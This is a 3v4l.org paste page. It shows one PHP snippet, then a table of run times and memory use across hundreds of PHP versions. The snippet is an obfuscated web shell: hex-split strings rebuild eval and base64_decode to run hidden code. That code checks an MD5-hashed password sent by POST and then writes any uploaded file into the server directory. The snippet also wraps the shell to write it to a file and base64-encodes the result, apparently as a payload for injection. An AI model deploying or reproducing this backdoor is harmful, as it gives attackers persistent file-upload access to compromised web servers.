3v4l.org

run code in 300+ PHP versions simultaneously
<?php $u = ' <?PHP $a=""; $a= "\x65". "v\x61"."l";$b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("upload",\'' . $u . '\');'; echo base64_encode($v);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0110.00416.50
8.3.60.0000.01816.62
8.3.50.0080.01121.99
8.3.40.0150.00018.52
8.3.30.0100.00319.14
8.3.20.0070.00020.34
8.3.10.0040.00423.66
8.3.00.0090.00020.61
8.2.180.0150.00716.63
8.2.170.0090.00622.96
8.2.160.0110.00420.52
8.2.150.0030.00624.18
8.2.140.0040.00424.66
8.2.130.0130.00626.16
8.2.120.0080.00022.04
8.2.110.0040.00422.27
8.2.100.0090.00317.72
8.2.90.0050.00318.89
8.2.80.0040.00417.97
8.2.70.0000.00917.50
8.2.60.0070.00517.90
8.2.50.0060.00318.07
8.2.40.0040.00418.34
8.2.30.0040.00417.97
8.2.20.0040.00417.60
8.2.10.0080.00019.41
8.2.00.0040.00417.60
8.1.280.0070.00725.92
8.1.270.0060.00322.14
8.1.260.0080.00026.35
8.1.250.0000.00728.09
8.1.240.0040.00423.97
8.1.230.0060.00619.00
8.1.220.0080.00017.77
8.1.210.0000.00818.77
8.1.200.0030.00617.25
8.1.190.0050.00317.51
8.1.180.0080.00018.10
8.1.170.0090.00018.50
8.1.160.0020.00521.89
8.1.150.0000.00718.59
8.1.140.0040.00417.36
8.1.130.0000.00717.82
8.1.120.0000.00717.44
8.1.110.0040.00417.42
8.1.100.0030.00317.32
8.1.90.0040.00417.47
8.1.80.0000.00717.52
8.1.70.0000.00717.45
8.1.60.0060.00317.48
8.1.50.0060.00317.54
8.1.40.0040.00417.41
8.1.30.0040.00417.59
8.1.20.0040.00417.66
8.1.10.0030.00617.50
8.1.00.0040.00417.46
8.0.300.0000.00718.77
8.0.290.0040.00417.16
8.0.280.0040.00418.50
8.0.270.0070.00017.13
8.0.260.0030.00316.91
8.0.250.0000.00716.89
8.0.240.0030.00316.99
8.0.230.0000.00816.92
8.0.220.0030.00316.90
8.0.210.0000.00616.73
8.0.200.0030.00316.90
8.0.190.0060.00316.99
8.0.180.0000.00816.89
8.0.170.0040.00416.83
8.0.160.0000.00816.89
8.0.150.0070.00016.71
8.0.140.0060.00316.89
8.0.130.0000.00613.33
8.0.120.0040.00416.83
8.0.110.0060.00316.79
8.0.100.0000.00716.69
8.0.90.0050.00216.79
8.0.80.0030.01216.85
8.0.70.0040.00416.71
8.0.60.0000.00816.71
8.0.50.0070.00016.86
8.0.30.0120.00916.93
8.0.20.0130.00617.40
8.0.10.0030.00316.93
8.0.00.0140.00616.70
7.4.330.0050.00015.00
7.4.320.0000.00616.54
7.4.300.0000.00616.29
7.4.290.0000.00616.46
7.4.280.0000.00716.45
7.4.270.0030.00316.46
7.4.260.0030.00316.56
7.4.250.0040.00416.45
7.4.240.0000.00716.44
7.4.230.0060.00016.64
7.4.220.0070.01016.41
7.4.210.0060.01016.54
7.4.200.0000.00716.42
7.4.190.0030.00316.44
7.4.160.0070.00716.30
7.4.150.0150.00617.40
7.4.140.0060.01617.86
7.4.130.0090.01216.43
7.4.120.0120.00816.44
7.4.110.0070.01016.55
7.4.100.0060.01516.42
7.4.90.0140.00316.38
7.4.80.0070.01416.40
7.4.70.0080.00816.44
7.4.60.0120.00616.32
7.4.50.0090.00016.35
7.4.40.0060.01022.77
7.4.30.0100.00716.35
7.4.00.0060.00614.95
7.3.330.0000.00513.11
7.3.320.0020.00213.11
7.3.310.0070.00016.22
7.3.300.0030.00316.25
7.3.290.0090.00616.22
7.3.280.0070.00916.30
7.3.270.0090.00917.40
7.3.260.0090.00616.52
7.3.250.0130.00716.37
7.3.240.0130.00916.48
7.3.230.0110.00616.39
7.3.210.0110.00616.46
7.3.200.0190.00319.39
7.3.190.0080.01116.43
7.3.180.0140.00316.59
7.3.170.0070.01516.30
7.3.160.0060.00916.48
7.3.120.0040.00814.52
7.2.330.0000.01816.65
7.2.320.0160.00616.64
7.2.310.0060.01316.63
7.2.300.0100.00616.68
7.2.290.0120.00316.54
7.2.120.0070.00716.39
7.2.110.0040.01116.58
7.2.100.0030.01016.49
7.2.90.0090.00616.75
7.2.80.0030.01016.54
7.2.70.0140.00016.89
7.2.60.0120.00316.84
7.2.50.0030.00716.99
7.2.40.0000.01516.59
7.2.30.0030.00616.94
7.2.20.0030.01016.89
7.2.10.0030.01016.82
7.2.00.0080.00416.95
7.1.240.0030.00515.51
7.1.230.0030.01015.60
7.1.220.0070.00715.95
7.1.210.0070.00715.77
7.1.200.0060.00315.68
7.1.190.0080.00815.87
7.1.180.0070.00715.49
7.1.170.0060.00615.80
7.1.160.0100.00315.56
7.1.150.0040.00815.80
7.1.140.0020.00515.69
7.1.130.0030.00915.54
7.1.120.0060.00915.71
7.1.110.0040.01215.80
7.1.100.0030.00817.07
7.1.90.0000.01315.92
7.1.80.0040.01215.44
7.1.70.0040.00616.53
7.1.60.0070.01017.41
7.1.50.0120.00525.27
7.1.40.0030.00315.91
7.1.30.0100.00615.80
7.1.20.0000.01215.73
7.1.10.0100.00315.69
7.1.00.0030.04319.13
7.0.320.0030.01015.57
7.0.310.0030.00915.37
7.0.300.0060.00915.47
7.0.290.0120.00315.23
7.0.280.0060.00615.11
7.0.270.0040.00415.23
7.0.260.0070.00715.37
7.0.250.0000.01315.22
7.0.240.0040.00415.30
7.0.230.0030.00915.62
7.0.220.0000.01215.57
7.0.210.0000.01015.52
7.0.200.0050.00516.13
7.0.190.0090.00315.32
7.0.180.0030.01215.25
7.0.170.0030.01015.59
7.0.160.0040.00815.25
7.0.150.0100.00015.34
7.0.140.0070.03918.67
7.0.130.0040.01115.30
7.0.120.0070.00715.64
7.0.110.0000.00815.42
7.0.100.0030.02817.71
7.0.90.0020.04517.66
7.0.80.0070.03617.71
7.0.70.0030.04717.52
7.0.60.0130.03317.57
7.0.50.0110.02217.77
7.0.40.0060.04616.78
7.0.30.0050.03916.71
7.0.20.0060.04316.67
7.0.10.0070.03216.71
7.0.00.0100.04216.65
5.6.380.0080.00014.19
5.6.370.0060.00614.13
5.6.360.0000.00814.28
5.6.350.0060.00314.35
5.6.340.0110.00014.18
5.6.330.0030.00914.18
5.6.320.0030.01014.17
5.6.310.0000.01114.16
5.6.300.0070.00313.94
5.6.290.0100.00314.32
5.6.280.0030.04217.56
5.6.270.0110.00314.18
5.6.260.0050.00514.40
5.6.250.0100.04017.54
5.6.240.0120.04217.52
5.6.230.0050.04817.29
5.6.220.0050.02517.43
5.6.210.0110.03817.42
5.6.200.0050.02817.72
5.6.190.0100.04317.72
5.6.180.0050.04517.41
5.6.170.0030.03217.66
5.6.160.0120.03517.59
5.6.150.0120.04417.58
5.6.140.0100.04017.69
5.6.130.0030.04917.70
5.6.120.0100.03817.53
5.6.110.0100.04217.48
5.6.100.0110.04317.61
5.6.90.0030.04917.78
5.6.80.0030.04317.37
5.6.70.0080.04117.37
5.6.60.0080.04417.26
5.6.50.0130.03717.21
5.6.40.0070.04117.35
5.6.30.0100.02517.23
5.6.20.0050.04417.13
5.6.10.0070.02617.26
5.6.00.0130.03717.19
5.5.380.0070.04015.79
5.5.370.0100.04215.78
5.5.360.0100.03715.85
5.5.350.0050.04315.83
5.5.340.0100.02315.99
5.5.330.0050.04016.04
5.5.320.0100.02316.02
5.5.310.0080.04216.02
5.5.300.0070.04316.03
5.5.290.0060.04315.99
5.5.280.0080.02516.05
5.5.270.0070.04316.00
5.5.260.0060.04515.99
5.5.250.0050.04715.90
5.5.240.0080.02415.67
5.5.230.0030.03515.67
5.5.220.0030.03915.76
5.5.210.0050.04515.69
5.5.200.0080.02315.68
5.5.190.0080.04015.69
5.5.180.0110.03415.72
5.5.170.0030.00814.21
5.5.160.0070.04215.73
5.5.150.0080.02515.74
5.5.140.0050.03415.60
5.5.130.0030.04315.69
5.5.120.0040.03915.74
5.5.110.0090.03515.73
5.5.100.0050.04015.66
5.5.90.0080.03115.66
5.5.80.0070.02115.63
5.5.70.0030.02415.65
5.5.60.0140.03515.68
5.5.50.0090.02315.64
5.5.40.0030.04515.63
5.5.30.0050.03715.63
5.5.20.0080.03715.63
5.5.10.0050.02715.66
5.5.00.0090.04015.64
5.4.450.0070.03815.37
5.4.440.0080.04115.29
5.4.430.0090.04315.28
5.4.420.0060.02915.31
5.4.410.0030.02715.21
5.4.400.0070.03515.17
5.4.390.0000.02715.04
5.4.380.0050.04015.08
5.4.370.0030.04115.13
5.4.360.0050.03715.20
5.4.350.0090.03215.04
5.4.340.0030.03215.17
5.4.330.0060.00611.27
5.4.320.0030.04115.17
5.4.310.0070.02515.17
5.4.300.0050.02315.17
5.4.290.0070.04015.17
5.4.280.0020.04315.20
5.4.270.0030.03515.03
5.4.260.0060.04015.25
5.4.250.0040.02415.25
5.4.240.0060.03115.16
5.4.230.0060.03515.04
5.4.220.0030.03615.04
5.4.210.0050.04415.15
5.4.200.0100.02215.18
5.4.190.0060.03815.23
5.4.180.0030.04115.14
5.4.170.0070.04215.03
5.4.160.0050.03715.11
5.4.150.0040.04215.14
5.4.140.0030.03913.78
5.4.130.0030.04313.74
5.4.120.0050.03813.80
5.4.110.0020.04213.81
5.4.100.0090.02213.78
5.4.90.0120.02713.74
5.4.80.0090.03713.81
5.4.70.0090.04013.74
5.4.60.0040.03213.79
5.4.50.0070.02313.75
5.4.40.0050.03313.82
5.4.30.0050.02813.83
5.4.20.0070.02913.75
5.4.10.0050.03913.76
5.4.00.0030.04213.36
5.3.290.0030.02912.94
5.3.280.0050.02412.84
5.3.270.0050.02512.85
5.3.260.0050.03012.93
5.3.250.0070.03912.91
5.3.240.0060.02612.89
5.3.230.0080.02312.86
5.3.220.0070.02212.91
5.3.210.0050.04212.91
5.3.200.0030.03212.91
5.3.190.0020.02912.89
5.3.180.0100.02312.93
5.3.170.0080.03912.84
5.3.160.0080.03412.91
5.3.150.0100.02212.90
5.3.140.0050.02312.82
5.3.130.0020.03012.83
5.3.120.0100.04012.86
5.3.110.0080.03812.88
5.3.100.0020.04212.58
5.3.90.0070.02312.65
5.3.80.0020.02712.62
5.3.70.0080.01912.62
5.3.60.0080.03312.56
5.3.50.0090.02812.59
5.3.40.0080.04112.59
5.3.30.0070.03712.58
5.3.20.0050.03712.43
5.3.10.0030.02712.35
5.3.00.0070.02312.44
5.2.170.0020.02911.22
5.2.160.0020.03011.21
5.2.150.0050.02011.18
5.2.140.0020.03711.10
5.2.130.0030.02611.14
5.2.120.0040.03411.08
5.2.110.0060.02811.16
5.2.100.0000.02411.20
5.2.90.0020.02111.08
5.2.80.0050.02911.10
5.2.70.0020.03111.10
5.2.60.0070.02111.16
5.2.50.0020.01711.14
5.2.40.0050.01611.11
5.2.30.0030.01811.05
5.2.20.0020.01511.13
5.2.10.0050.02911.03
5.2.00.0030.03410.93
5.1.60.0020.02210.54
5.1.50.0020.03110.66
5.1.40.0030.02310.61
5.1.30.0030.03310.73
5.1.20.0040.02810.78
5.1.10.0050.02710.68
5.1.00.0010.02610.66
5.0.50.0080.0179.93
5.0.40.0030.0209.86
5.0.30.0020.0289.75
5.0.20.0030.0179.73
5.0.10.0070.0139.71
5.0.00.0060.0239.71
4.4.90.0030.0189.17
4.4.80.0030.0089.17
4.4.70.0000.0169.17
4.4.60.0030.0179.17
4.4.50.0030.0139.17
4.4.40.0020.0299.17
4.4.30.0020.0209.17
4.4.20.0030.0139.17
4.4.10.0020.0209.17
4.4.00.0020.0189.17
4.3.110.0030.0209.17
4.3.100.0030.0139.17
4.3.90.0020.0089.17
4.3.80.0060.0239.17
4.3.70.0010.0189.17
4.3.60.0020.0179.17
4.3.50.0030.0139.17
4.3.40.0050.0239.17
4.3.30.0050.0089.17
4.3.20.0020.0209.17
4.3.10.0000.0139.17
4.3.00.0000.0189.17

preferences:
44.67 ms | 401 KiB | 5 Q